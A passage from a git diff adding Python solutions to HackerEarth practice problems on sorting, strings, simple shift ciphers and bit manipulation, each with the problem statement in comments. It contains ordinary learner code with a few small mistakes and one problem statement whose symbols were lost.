+# 1≤x≤N +# +# SAMPLE INPUT +# 5 2 +# 1 2 3 4 5 +# +# SAMPLE OUTPUT +# 1 2 3 4 5 + +n, x = map(int, input().split()) +array = [int(i) for i in input().split()] +for i in range(x): # Note x here, this is what yields the required result + minimum = i + for j in range(i + 1, n): + if array[j] < array[minimum]: + minimum = j + if(minimum != i): + array[i], array[minimum] = array[minimum], array[i] + if(i == x): + break + +print(' '.join([str(i) for i in array])) diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/Sorting/P04_TheRiseOfWeirdThings.py b/CompetitiveProgramming/HackerEarth/Algorithms/Sorting/P04_TheRiseOfWeirdThings.py new file mode 100644 index 0000000..9aeca5e --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/Sorting/P04_TheRiseOfWeirdThings.py @@ -0,0 +1,45 @@ +# Insertion Sort problem + +# Bangalore City, where peace prevails most of the time. Not everyone is a huge fan of peace, though. Certainly not Mr. XYZ, whose identity is not known to us - yet. Mr. XYZ has somehow managed to bring vampires and zombies to Bangalore City to attack and destroy the city. +# +# Fatal Eagle, an ordinary citizen of the city is extremely worried on seeing his city being attacked by these weird creatures. But, as of now, he has no power to stop these creatures from their silent attacks. He wants to analyze these creatures firstly. He figured out some things about these creatures, like: +# +# Zombies have power in terms of an EVEN number. +# Vampires have power in terms of an ODD number. +# If he sees a zombie or a vampire, he marks them in his list with their power. After generating the entire list of power of these creatures, he decides to arrange this data in the following manner: +# +# All the zombies arranged in sorted manner of their power, followed by the total power of zombies. +# All the vampires arranged in sorted manner of their power, followed by the total power of vampires. +# You've to help him produce the following list to help him save his city. +# +# Input constraints: +# The first line of input will contain an integer — N, denoting the number of creatures. The next line will contain N integers denoting the elements of the list containing the power of zombies and vampires. +# +# Output constraints: +# Print the required list in a single line. +# +# Constraints: +# 1 ≤ N ≤ 103 +# 1 ≤ Ni ≤ 103 +# +# SAMPLE INPUT +# 6 +# 2 3 10 12 15 22 +# +# SAMPLE OUTPUT +# 2 10 12 22 46 3 15 18 + +n = int(input()) +array = [int(i) for i in input().split()] +even = [] +odd = [] + +for i in range(len(array)): + if array[i] % 2 == 0: + even.append(array[i]) + else: + odd.append(array[i]) + +even.sort() +odd.sort() +print(' '.join([str(i) for i in even]), sum(even), ' '.join([str(i) for i in odd]), sum(odd)) diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/Sorting/P05_MonkAndNiceStrings.py b/CompetitiveProgramming/HackerEarth/Algorithms/Sorting/P05_MonkAndNiceStrings.py new file mode 100644 index 0000000..a4f66f1 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/Sorting/P05_MonkAndNiceStrings.py @@ -0,0 +1,62 @@ +# Insertion Sort Problem +# +# Monk's best friend Micro's birthday is coming up. Micro likes Nice Strings very much, so Monk decided to gift +# him one. Monk is having N nice strings, so he'll choose one from those. But before he selects one, he need +# to know the Niceness value of all of those. Strings are arranged in an array A, and the Niceness value of +# string at position i is defined as the number of strings having position less than i which are lexicographicaly smaller than +# A[i]. Since nowadays, Monk is very busy with the Code Monk Series, he asked for your help. +# Note: Array's index starts from 1. +# +# Input: +# First line consists of a single integer denoting N. N lines follow each containing a string made of lower case English alphabets. +# +# Output: +# Print N lines, each containing an integer, where the integer in ith line denotes Niceness value of string A[i]. +# +# Constraints: +# 1≤N≤1000 +# 1≤|A[i]|≤10 ∀ i where 1≤i≤N, where +# |A[i]| denotes the length of +# ith string. +# +# SAMPLE INPUT +# 4 +# a +# c +# d +# b +# +# SAMPLE OUTPUT +# 0 +# 1 +# 2 +# 1 +# +# Explanation +# Number of strings having index less than 1 which are less than "a" = 0 +# Number of strings having index less than 2 which are less than "c": ("a") = 1 +# Number of strings having index less than 3 which are less than "d": ("a", "c") = 2 +# Number of strings having index less than 4 which are less than "b": ("a") = 1 + +# My solution +array = [] +for i in range(int(input())): + array.append(input()) + +for i in range(len(array)): + count = 0 + for j in range(0, i + 1): + if array[j] < array[i]: + count += 1 + print(count) + +# Better solution +n = int(input()) +a = [] +for i in range(n): + a.append(input()) + ans = 0 + for j in a: + if j < a[i]: + ans += 1 + print(ans) diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/Sorting/P06_MergeSort.py b/CompetitiveProgramming/HackerEarth/Algorithms/Sorting/P06_MergeSort.py new file mode 100644 index 0000000..f0ebba7 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/Sorting/P06_MergeSort.py @@ -0,0 +1,53 @@ +# Given an array A on size N, you need to find the number of ordered pairs (i,j) such that iA[j]. +# +# Input: +# First line contains one integer, N, size of array. +# Second line contains N space separated integers denoting the elements of the array A. +# +# Output: +# Print the number of ordered pairs (i,j) such that iA[j]. +# +# Constraints: +# 1≤N≤106 +# 1≤A[i]≤106 +# +# SAMPLE INPUT +# 5 +# 1 4 3 2 5 +# +# SAMPLE OUTPUT +# 3 + +n = int(input()) +array = [int(i) for i in input().split()] + +def mergeSort(array): + if len(array) == 0 or len(array) == 1: + return array + else: + mid = len(array) // 2 + left = mergeSort(array[:mid]) + right = mergeSort(array[mid:]) + return merge(left, right) + +def merge(left, right): + mergeArray = [] + while len(left) != 0 and len(right) != 0: + if left[0] < right[0]: + mergeArray.append(left[0]) + left.remove(left[0]) + else: + mergeArray.append(right[0]) + right.remove(right[0]) + global value + value += 1 # Note this step + if len(left) == 0: + mergeArray += right + else: + mergeArray += left + + return mergeArray + +value = 0 +mergeSort(array) +print(value) diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/String/P01_SortSubtring.py b/CompetitiveProgramming/HackerEarth/Algorithms/String/P01_SortSubtring.py new file mode 100644 index 0000000..ce0a3d4 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/String/P01_SortSubtring.py @@ -0,0 +1,36 @@ +# Given a string S, and two numbers N, M - arrange the characters of string in between the indexes N +# and M (both inclusive) in descending order. (Indexing starts from 0). +# +# Input Format: +# First line contains T - number of test cases. +# Next T lines contains a string(S) and two numbers(N, M) separated by spaces. +# +# Output Format: +# Print the modified string for each test case in new line. +# +# Constraints: +# +# 1≤T≤1000 +# 1≤|S|≤10000 // |S| denotes the length of string. +# 0≤N≤M<|S| +# S∈[a,z] +# +# SAMPLE INPUT +# 3 +# hlleo 1 3 +# ooneefspd 0 8 +# effort 1 4 +# +# SAMPLE OUTPUT +# hlleo +# spoonfeed +# erofft + +for i in range(int(input())): + user_input = input() + user_input = user_input.split() + to_char = int(user_input[2]) + from_char = int(user_input[1]) + string = user_input[0][from_char:to_char + 1] + replace = ''.join(sorted(string)[::-1]) + print(user_input[0][:from_char] + replace + user_input[0][to_char + 1:len(user_input[0])]) diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/String/P02_PrintFirstOccurence.py b/CompetitiveProgramming/HackerEarth/Algorithms/String/P02_PrintFirstOccurence.py new file mode 100644 index 0000000..4356f04 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/String/P02_PrintFirstOccurence.py @@ -0,0 +1,33 @@ +# Given a string containing only lower case letters ,print first occurrence of all the letters present +# in that order only. +# +# Input : +# +# Test cases, t +# string ,s +# Output : +# +# Desired Output +# +# Constraint : +# +# string length <=200 +# +# SAMPLE INPUT +# 2 +# aasdvasvavda +# sajhags +# +# SAMPLE OUTPUT +# asdv +# sajhg +# + +for _ in range(int(input())): + user_input = input() + string = [] + for i in range(len(user_input)): + if user_input[i] not in string: + string.append(user_input[i]) + + print(''.join(string)) diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/String/P03_MonkTeachesPalindrome.py b/CompetitiveProgramming/HackerEarth/Algorithms/String/P03_MonkTeachesPalindrome.py new file mode 100644 index 0000000..8699081 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/String/P03_MonkTeachesPalindrome.py @@ -0,0 +1,42 @@ +# Monk introduces the concept of palindrome saying,"A palindrome is a sequence of characters which reads the s +# ame backward or forward." +# Now, since he loves things to be binary, he asks you to find whether the given string is palindrome or not. +# If a given string is palindrome, you need to state that it is even palindrome (palindrome with even length) +# or odd palindrome (palindrome with odd length). +# +# Input: +# The first line consists of T, denoting the number of test cases. +# Next follow T lines, each line consisting of a string of lowercase English alphabets. +# +# Output: +# For each string , you need to find whether it is palindrome or not. +# If it is not a palindrome, print NO. +# If it is a palindrome, print YES followed by a space; then print EVEN it is an even palindrome +# else print ODD. +# Output for each string should be in a separate line. +# See the sample output for clarification. +# +# Constraints: +# 1≤T≤50 +# 1≤length of string≤105 +# +# SAMPLE INPUT +# 3 +# abc +# abba +# aba +# +# SAMPLE OUTPUT +# NO +# YES EVEN +# YES ODD + +for _ in range(int(input())): + user_input = input() + if user_input == user_input[::-1]: + if len(user_input) % 2 == 0: + print('YES EVEN') + else: + print('YES ODD') + else: + print('NO') diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/String/P04_DNAPride.py b/CompetitiveProgramming/HackerEarth/Algorithms/String/P04_DNAPride.py new file mode 100644 index 0000000..065749d --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/String/P04_DNAPride.py @@ -0,0 +1,52 @@ +# Everyone is familiar with Pratik's obsession with DNA and how much he likes to find the correct pair for +# the nucleotide bases. One day Samim found him exaggerating about his knowledge of DNA bases. So Samim +# challenged Pratik about finding the correct base pair for the given DNA sequence and show the result. +# Also he secretly introduced some of RNA nucleotide bases to test Pratik. Now initially he accepted the +# challenge but soon found out about how big the sequence actually was, so he came to you ask him for your +# in finding the sequence and keep his pride about the knowledge of DNA molecules. +# +# You are given a string that contains the nucleotide bases of DNA and RNA, you are needed to find the +# correct pair for all the bases and print the corresponding sequence obtained. In case the sequence +# contains a RNA base, print "Error RNA nucleobases found!" (without quotes). +# +# INPUT FORMAT +# +# The first line of input contains T, the no of test cases. The next line of input contains N, the no of +# bases in each of the DNA sequence The line after that contains the DNA sequence. +# +# OUTPUT FORMAT +# +# For each test case output your answer on a new line. +# +# CONSTRAIN +# +# 1≤T≤10^4 +# 1≤N≤10^6 +# +# SAMPLE INPUT +# 3 +# 2 +# AG +# 4 +# ATGC +# 6 +# UGCACT +# +# SAMPLE OUTPUT +# TC +# TACG +# Error RNA nucleobases found! + +for _ in range(int(input())): + string_length = int(input()) + string = input() + check = {'A':'T', 'T':'A', 'G':'C', 'C':'G'} + result = [] + + if 'U' in string: + print('Error RNA nucleobases found!') + else: + for i in range(len(string)): + result.append(check[string[i]]) + + print(''.join(result)) diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/String/P05_VowelPhobia.py b/CompetitiveProgramming/HackerEarth/Algorithms/String/P05_VowelPhobia.py new file mode 100644 index 0000000..7434218 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/String/P05_VowelPhobia.py @@ -0,0 +1,28 @@ +# Manish has got the task to frame a speech for his professor at the university at the Annual sports meet.But +# the problem is that the professor has speech dyslexia and he can't speak the words clearly which have vowels +# in them. So Manish has to avoid such words and has to minimise their usage in the speech letter. Your task +# is to help Manish mark the vowels in the words so that he can minimise their use. You are given a string S +# consisting of lower case letters only. You need to count the number of vowels in the string S. +# +# INPUT The first line will contain an integer T denoting the number of test cases. The following T lines +# will contain a string S in lower case letters only. +# +# OUTPUT Print the number the vowels in the string S. +# +# CONSTRAINTS 1<=T<=100 +# +# SAMPLE INPUT +# 1 +# hashes +# +# SAMPLE OUTPUT +# 2 + +for _ in range(int(input())): + string = input() + count = 0 + for i in range(len(string)): + if string[i] in ['a', 'e', 'i', 'o', 'u']: + count += 1 + + print(count) diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/String/P06_NobitaAndString.py b/CompetitiveProgramming/HackerEarth/Algorithms/String/P06_NobitaAndString.py new file mode 100644 index 0000000..e6f8a6f --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/String/P06_NobitaAndString.py @@ -0,0 +1,26 @@ +# Doraemon gave Nobita a gadget that swaps words inside a string in the following manner : +# +# If there are W words, word 1 is swapped with word W, word 2 is swapped with word W-1 and so on. The +# problem is that Nobita himself cannot verify the answer for large strings. Help him write a program to do so. +# +# INPUT : +# the first line of the input contains the number of test cases. Each test case consists of a single line +# containing the string. +# +# OUTPUT : +# output the string with the words swapped as stated above. +# +# CONSTRAINTS : +# |string length| <= 100000 +# string contains english alphabets and spaces +# +# SAMPLE INPUT +# 1 +# hello world +# +# SAMPLE OUTPUT +# world hello + +for _ in range(int(input())): + string = input().split() + print(' '.join(string[::-1])) diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/String/P07_SumitsString.py b/CompetitiveProgramming/HackerEarth/Algorithms/String/P07_SumitsString.py new file mode 100644 index 0000000..831d61d --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/String/P07_SumitsString.py @@ -0,0 +1,51 @@ +# Given a string 'S' , u need to tell whether it is 'sumit's string or not'. +# +# A string is called 'Sumit's String' , if distance between adjacent character is 1. +# +# Consider that the alphabets are arranged in cyclic manner from 'a' to 'z'. distance between any character +# 'x' and 'y' will be defined as minimum number of steps it takes 'x' to reach 'y'. Here, character 'x' can +# start moving clockwise or anti-clockwise in order to reach at position where character 'y' is placed. +# +# Print 'YES' if it is Sumit's string else print 'NO', for each yest case. +# +# Input : +# +# test cases, t +# string , s +# Output: +# +# Desired O/p +# +# Constraints : +# +# string length<=250 +# string has only lower case letters +# +# SAMPLE INPUT +# 3 +# aba +# zza +# bcd +# +# SAMPLE OUTPUT +# YES +# NO +# YES + +for _ in range(int(input())): + string = input() + sumit_string = True + check = 'abcdefghijklmnopqrstuvwxyz' + for i in range(len(string) - 1): + check_first = check.find(string[i]) + 1 + check_second = check.find(string[i + 1]) + 1 + if abs(check_second - check_first) == 1 or abs(check_second - check_first) == 25: + continue + else: + sumit_string = False + break + + if sumit_string: + print('YES') + else: + print('NO') diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/String/P08_RemoveDupplicates.py b/CompetitiveProgramming/HackerEarth/Algorithms/String/P08_RemoveDupplicates.py new file mode 100644 index 0000000..65138f9 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/String/P08_RemoveDupplicates.py @@ -0,0 +1,43 @@ +# Given a string S. Your task is to remove all duplicates characters from the string S +# +# NOTE: +# 1.) Order of characters in output string should be same as given in input string. +# 2.) String S contains only lowercase characters ['a'-'z']. +# +# input: +# Input contain a single string S. +# +# Output: +# Print the string S with no any duplicate characters. +# +# Constraints: +# Test Files 1 to 5: +# 1<=|S|<=100 +# Test Files 6 to 10: +# 1<=|S|<=100000 +# +# Sample Output #1 +# hacker +# +# Sample Output #1 +# hacker +# +# Sample Input #2 +# hackerearth +# +# Sample Output #2 +# hackert +# +# Sample Input #3 +# programming +# +# Sample Output #3 +# progamin + +string = list(input()) +result = [] +for i in range(len(string)): + if string[i] not in result: + result.append(string[i]) + +print(''.join(result)) diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/String/P10_Conversion.py b/CompetitiveProgramming/HackerEarth/Algorithms/String/P10_Conversion.py new file mode 100644 index 0000000..27d85b1 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/String/P10_Conversion.py @@ -0,0 +1,38 @@ +# Given a string, convert it into its number form . +# +# A or a -> 1 +# B or b -> 2 +# C or c -> 3 +# . . . +# Z or z -> 26 +# space -> $ +# Input: +# +# test cases, t +# string , s +# Output: +# +# Desired O/p +# +# Constraints: string length <=200 +# +# SAMPLE INPUT +# 2 +# AMbuj verma +# Aaaa bBBB +# +# SAMPLE OUTPUT +# 11322110$22518131 +# 1111$2222 + +for _ in range(int(input())): + string = input() + check = 'abcdefghijklmnopqrstuvwxyz' + result = [] + for i in range(len(string)): + if string[i].lower() != ' ': + result.append(check.find(string[i].lower()) + 1) + else: + result.append('$') + + print(''.join([str(i) for i in result])) diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/String/P11_CaesarsCipher.py b/CompetitiveProgramming/HackerEarth/Algorithms/String/P11_CaesarsCipher.py new file mode 100644 index 0000000..87eb025 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/String/P11_CaesarsCipher.py @@ -0,0 +1,71 @@ +# Caesar's Cipher is a very famous encryption technique used in cryptography. It is a type of substitution +# cipher in which each letter in the plaintext is replaced by a letter some fixed number of positions down +# the alphabet. For example, with a shift of 3, D would be replaced by G, E would become H, X would become A +# and so on. +# +# Encryption of a letter X by a shift K can be described mathematically as +# EK(X)=(X+K) % 26. +# +# Given a plaintext and it's corresponding ciphertext, output the minimum non-negative value of shift that was +# used to encrypt the plaintext or else output −1 if it is not possible to obtain the given ciphertext from +# the given plaintext using Caesar's Cipher technique. +# +# Input: +# +# The first line of the input contains Q, denoting the number of queries. +# +# The next Q lines contain two strings S and T consisting of only upper-case letters. +# +# Output: +# +# For each test-case, output a single non-negative integer denoting the minimum value of shift that was used +# to encrypt the plaintext or else print −1 if the answer doesn't exist. +# +# Constraints: +# 1≤Q≤5 +# 1≤|S|≤10^5 +# 1≤|T|≤10^5 +# |S| = |T| +# +# SAMPLE INPUT +# 2 +# ABC +# DEF +# AAA +# PQR +# +# SAMPLE OUTPUT +# 3 +# -1 + +# My Solution +for _ in range(int(input())): + string_one = input() + string_two= input() + check_one = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + # ZYXWVUTSRQPONMLKJIHGFEDCBA + check_two = check_one[::-1] + result = [] + for i in range(len(string_one)): + if(check_one.find(string_one[i]) > check_one.find(string_two[i])): + result.append(check_two.find(string_one[i]) + check_one.find(string_two[i]) + 1) + else: + result.append(check_one.find(string_two[i]) - check_one.find(string_one[i])) + + if result.count(result[0]) == len(string_one): + print(result[0]) + else: + print(-1) + +# More Efficient Solution: +tests = int(input().strip()) +for i in range(tests): + plain = input().strip() + cipher = input().strip() + shift = (ord(cipher[0])-ord(plain[0])+26)%26 + valid = True + for j in range(len(plain)): + if (ord(cipher[j])-ord(plain[j])+26)%26 != shift: + valid = False + break + print(shift) if valid else print("-1") diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/String/P12_CompilerVersion.py b/CompetitiveProgramming/HackerEarth/Algorithms/String/P12_CompilerVersion.py new file mode 100644 index 0000000..363f4c8 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/String/P12_CompilerVersion.py @@ -0,0 +1,43 @@ +# You are converting an old code for a new version of the compiler. +# +# In the old code we have used "->" for pointers. But now we have to replace each "->" with a ".". But this +# replacement shouldn't be done inside commments. A comment is a string that starts with "//" and terminates +# at the end of the line. +# +# Input: +# +# At max. +# 2000 +# 2000 lines of code. +# +# Each line of code consists of at maximum +# 60 +# 60 characters. +# +# Output: +# +# New code with required changes. +# +# SAMPLE INPUT +# int t; //variable t +# t->a=0; //t->a does something +# return 0; +# +# SAMPLE OUTPUT +# int t; //variable t +# t.a=0; //t->a does something +# return 0; + +import sys +import re +while True: + line = sys.stdin.readline() + if len(line) >=2 : + if '//' in line: + line = re.split("//", line) + line[0] = re.sub("->", ".", line[0]) + sys.stdout.write('//'.join(line)) + else: + sys.stdout.write(re.sub("->", ".", line)) + else: + break diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/String/P13_NameGame.py b/CompetitiveProgramming/HackerEarth/Algorithms/String/P13_NameGame.py new file mode 100644 index 0000000..24f5260 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/String/P13_NameGame.py @@ -0,0 +1,85 @@ +# John has recently learned about ASCII values. With his knowledge of ASCII values and character he has +# developed a special word and named it John's Magical word. +# +# A word which consists of alphabets whose ASCII values is a prime number is a John's Magical word. An +# alphabet is john's Magical alphabet if its ASCII value is prime. +# +# John's nature is to boast about the things he know or have learnt about. So just to defame his friends he +# gives few string to his friends and ask them to convert it to John's Magical word. None of his friends would +# like to get insulted. Help them to convert the given strings to John's Magical Word. +# +# Rules for converting: +# +# 1.Each character should be replaced by the nearest John's Magical alphabet. +# +# 2.If the character is equidistant with 2 Magical alphabets. The one with lower ASCII value will be considered as its replacement. +# +# Input format: +# +# First line of input contains an integer T number of test cases. Each test case contains an integer N (denoting the length of the string) and a string S. +# +# Output Format: +# +# For each test case, print John's Magical Word in a new line. +# +# Constraints: +# +# 1 <= T <= 100 +# +# 1 <= |S| <= 500 +# +# SAMPLE INPUT +# 1 +# 8 +# KINGKONG +# +# SAMPLE OUTPUT +# IIOGIOOG + +numl = [97, 101, 103, 107, 109, 113] +numu = [67, 71, 73, 79, 83, 89] +num = [67, 89, 97, 113] + +for _ in range(int(input())): + length = input() + string = input() + result = '' + + for char in string: + if char.islower() and char.isalpha(): + minimum = 200 + ascii_char = ord(char) + temp = 0 + + for j in numl: + if minimum > abs(ascii_char - j): + minimum = abs(ascii_char - j) + temp = j + + result = result + chr(temp) + + elif char.isupper() and char.isalpha(): + minimum = 200 + ascii_char = ord(char) + temp = 0 + + for j in numu: + if minimum > abs(ascii_char - j): + minimum = abs(ascii_char - j) + temp = j + + result = result + chr(temp) + + else: + minimum = 200 + ascii_char = ord(char) + temp = 0 + + for j in num: + if minimum > abs(ascii_char - j): + minimum = abs(ascii_char - j) + temp = j + + result = result + chr(temp) + + print(result) diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/String/P14_XennyAndPartiallySortedStrings.py b/CompetitiveProgramming/HackerEarth/Algorithms/String/P14_XennyAndPartiallySortedStrings.py new file mode 100644 index 0000000..2621a45 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/String/P14_XennyAndPartiallySortedStrings.py @@ -0,0 +1,50 @@ +# Xenny had a list of N strings of equal length. He wanted to sort them by the first M characters only. That +# means, while sorting the list of strings, he only wanted to consider the first M characters of each string. +# Help Xenny to find out the Kth string in the list after he sorts them. +# +# Note: Xenny wanted to perform stable sorting. +# Stable sorting algorithms maintain the relative order of records with equal keys (i.e. values). That is, a +# sorting algorithm is stable if whenever there are two records R and S with the same key and with R +# appearing before S in the original list, R will appear before S in the sorted list. +# +# Input +# +# First line contains a single integer - T, which represents the number of testcases. +# T testcases follow. +# Each testcase is of the following format: +# First line contains 3 space-separated integers - N, K and M. +# N is the total number of strings Xenny has. +# K is the index of the string in the list after sorting, which Xenny has to find. +# M is the number of characters based on which sorting will be done by Xenny. +# Then next N lines contain N strings ( each line will contain one string ) . +# +# Output +# +# For each testcase, print the Kth string in the sorted list in a new line. +# +# Constraints +# +# 1 ≤ T ≤ 50 +# 1 ≤ N ≤ 103 +# 1 ≤ Max Length of each String ≤ 103 +# 1 ≤ M ≤ Max Length +# M ≤ Max Length of each String ≤ 103 +# +# SAMPLE INPUT +# 1 +# 3 1 3 +# abcdef +# abcaaa +# aabaaa +# +# SAMPLE OUTPUT +# aabaaa + +for _ in range(int(input())): + n, k, m = input().split() + strings = [] + for i in range(int(n)): + strings.append(input()) + + array = sorted(strings, key = lambda x: x[:int(m)]) + print(array[int(k) - 1]) diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/String/P15_SortedString.py b/CompetitiveProgramming/HackerEarth/Algorithms/String/P15_SortedString.py new file mode 100644 index 0000000..6c199b1 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/String/P15_SortedString.py @@ -0,0 +1,43 @@ +# Little Ashish got a lot of strings as his birthday gift. He does not mind getting so many strings for +# free; in fact, he loves them. But, on noticing all the strings he received as a gift, Little Ashish, who's +# also a snob and a bit OCD kind of a guy, realizes that he does not like the way in which the strings are +# arranged. +# +# He likes his strings sorted, in a different kind of a way. He wants his strings to be sorted based on the +# count of characters present in the string. For instance, if the string is: "aaabbc", then the desired +# string would be: cbbaaa. In case where the count of two characters is same, then the lexicographically +# smaller one will be printed first. For instance: "aabbcc" then, the output will be: "aabbcc". +# +# Input: +# First line of input contains number of test cases T. Each test case contains a single string S. +# +# Output: +# For each test cases print the sorted string. +# +# Constraints: +# 1<=T<=100 +# 1<=|S|<=100 +# +# Note: +# String contains only lowercase characters ['a' to 'z']. +# +# SAMPLE INPUT +# 3 +# aabbccdd +# aabcc +# hackerearth +# +# SAMPLE OUTPUT +# aabbccdd +# baacc +# cktaaeehhrr + +from collections import Counter + +for _ in range(int(input())): + string = Counter(input()) + sorted_array = sorted(string.items(), key=lambda x: (x[1], x[0])) + result = '' + for items in sorted_array: + result += items[0] * items[1] + print(result) diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/String/P16_SecretMessages.py b/CompetitiveProgramming/HackerEarth/Algorithms/String/P16_SecretMessages.py new file mode 100644 index 0000000..80a1fea --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/String/P16_SecretMessages.py @@ -0,0 +1,57 @@ +# X and Y are best friends and they love to chat with each other. But their recent concerns about the privacy +# of their messages has distant them. So they decided to encrypt their messages with a key, K, such that the +# character of their messages are now shifted K times towards right of their initial value. Their techniques +# only convert numbers and alphabets while leaving special characters as it is. +# +# Provided the value K you are required to encrypt the messages using their idea of encryption. +# +# INPUT FORMAT +# +# The first line of the input contains, T, the number of messages. The next line contains N, and K, no of +# characters in the message and key for encryption. The next line contains the message. +# +# OUTPUT FORMAT +# +# Output the encrypted messages on a new line for all the test cases. +# +# CONSTRAINS +# +# 1≤T≤100 +# 1≤N≤106 +# 0≤K≤106 +# +# SAMPLE INPUT +# 2 +# 12 4 +# Hello-World! +# 16 50 +# Aarambh@1800-hrs +# +# SAMPLE OUTPUT +# Lipps-Asvph! +# Yypykzf@1800-fpq + +myString = 'abcdefghijklmnopqrstuvwxyz' +myStringU = myString.upper() +nums = '0123456789' + +def access_char(string, i): + return string[i % len(string)] + +for _ in range(int(input())): + n, k = map(int, input().split()) + string = input() + result = [] + + for char in string: + if char.islower() and char.isalpha(): + result.append(access_char(myString, myString.find(char) + k)) + elif char.isupper() and char.isalpha(): + result.append(access_char(myStringU, myStringU.find(char) + k)) + elif char.isnumeric(): + result.append(access_char(nums, nums.find(str(char)) + k)) + else: + result.append(char) + + print(''.join([str(i) for i in result])) + diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/logics/perfectsquareof2.py b/CompetitiveProgramming/HackerEarth/Algorithms/logics/perfectsquareof2.py new file mode 100644 index 0000000..87b79a9 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/logics/perfectsquareof2.py @@ -0,0 +1,12 @@ +# Efficient Python program to check entered number is a perfect square of 2 or not +# Example +# 8 +# Its a perfect square of 2 + + + +n = int(input("Enter a number")) +if n & (n - 1) == 0: + print("Its a perfect square of 2") +else: + print("Its not perfect square") diff --git a/CompetitiveProgramming/HackerEarth/Basics_Of_Input_Output/P04_PrimeNumber.py b/CompetitiveProgramming/HackerEarth/Basics_Of_Input_Output/P04_PrimeNumber.py index 28d4de9..9fa2418 100644 --- a/CompetitiveProgramming/HackerEarth/Basics_Of_Input_Output/P04_PrimeNumber.py +++ b/CompetitiveProgramming/HackerEarth/Basics_Of_Input_Output/P04_PrimeNumber.py @@ -12,10 +12,14 @@ # Constraints # 1 <= N <=1000 +import math + userInput = int(input()) -for i in range(2, userInput): +if userInput > 2: + print("2",end = ' ') +for i in range(3, userInput + 2): check = 0 - for j in range(2, i): + for j in range(2, int(math.sqrt(i))+ 1): if i % j == 0: check = 1 break diff --git a/CompetitiveProgramming/HackerEarth/Bit_Manipulation/P04_Mystery.py b/CompetitiveProgramming/HackerEarth/Bit_Manipulation/P04_Mystery.py new file mode 100644 index 0000000..4f3735d --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Bit_Manipulation/P04_Mystery.py @@ -0,0 +1,44 @@ +# In the world of dragon ball, Goku has been the greatest rival of Vegeta. Vegeta wants to surpass goku but never succeeds. Now that he +# knows he cant beat goku in physical strength, he wants to be satisfied by beating goku in mental strength. He gives certain inputs and +# outputs , Goku needs to find the logic and predict the output for the next inputs. Goku is struggling with the challenge, your task is +# to find the logic and and help him win the challenge. + +# INPUT : + +# Given a series of numbers(inputs) and each number(N) on a newline. + +# OUTPUT : + +# For the given input , Output the required ans. + +# NOTE : + +# No. of test cases are unknown. + +# Use Faster I/O Techniques. + +# CONSTRAINTS : + +# 0<= N <= 10^18 + +# SAMPLE INPUT +# 0 +# 1 +# 5 +# 12 +# 22 +# 1424 +# SAMPLE OUTPUT +# 0 +# 1 +# 2 +# 2 +# 3 +# 4 + +while(1): + try: + r=bin(int(input())) + print(r.count('1')) + except: + break diff --git a/CompetitiveProgramming/HackerEarth/Bit_Manipulation/P05_HihiAndCrazyBits.py b/CompetitiveProgramming/HackerEarth/Bit_Manipulation/P05_HihiAndCrazyBits.py new file mode 100644 index 0000000..39f7340 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Bit_Manipulation/P05_HihiAndCrazyBits.py @@ -0,0 +1,37 @@ +# Hihi is the grandfather of all geeks in IIITA. He and his crazy ideas.....Huh..... Currently, hihi is working on his most famous project +# named 21 Lane, but he is stuck at a tricky segment of his code. + +# Hihi wants to assign some random IP addresses to users, but he won't use rand(). He wants to change the current IP of the user's computer +# to the IP such that its hash is next hash greater than the hash of original IP and differs by only 1 bit from the hash of original IP. + +# Smart Hihi already hashed the IP to some integer using his personal hash function. What he wants from you is to convert the given hashed +# IP to the required IP X as mentioned above. + +# OK, just find the find the smallest number greater than n with exactly 1 bit different from n in binary form + +# Input : + +# First line contains single integer T ( 1 <= T <= 10^6)- number of test cases. Second line contains hashed IP N ( 1 <= N <= 10^18) + +# Output : + +# Print T lines, each containing an integer X, the required IP.(don't worry Hihi will decode X to obtain final IP address) + +# SAMPLE INPUT +# 5 +# 6 +# 4 +# 10 +# 12 +# 14 +# SAMPLE OUTPUT +# 7 +# 5 +# 11 +# 13 +# 15 + + +for _ in range(int(input())): + a=int(input()) + print(a|a+1) diff --git a/CompetitiveProgramming/HackerEarth/Bit_Manipulation/P06_RajanAndOddFrequencyNumber.py 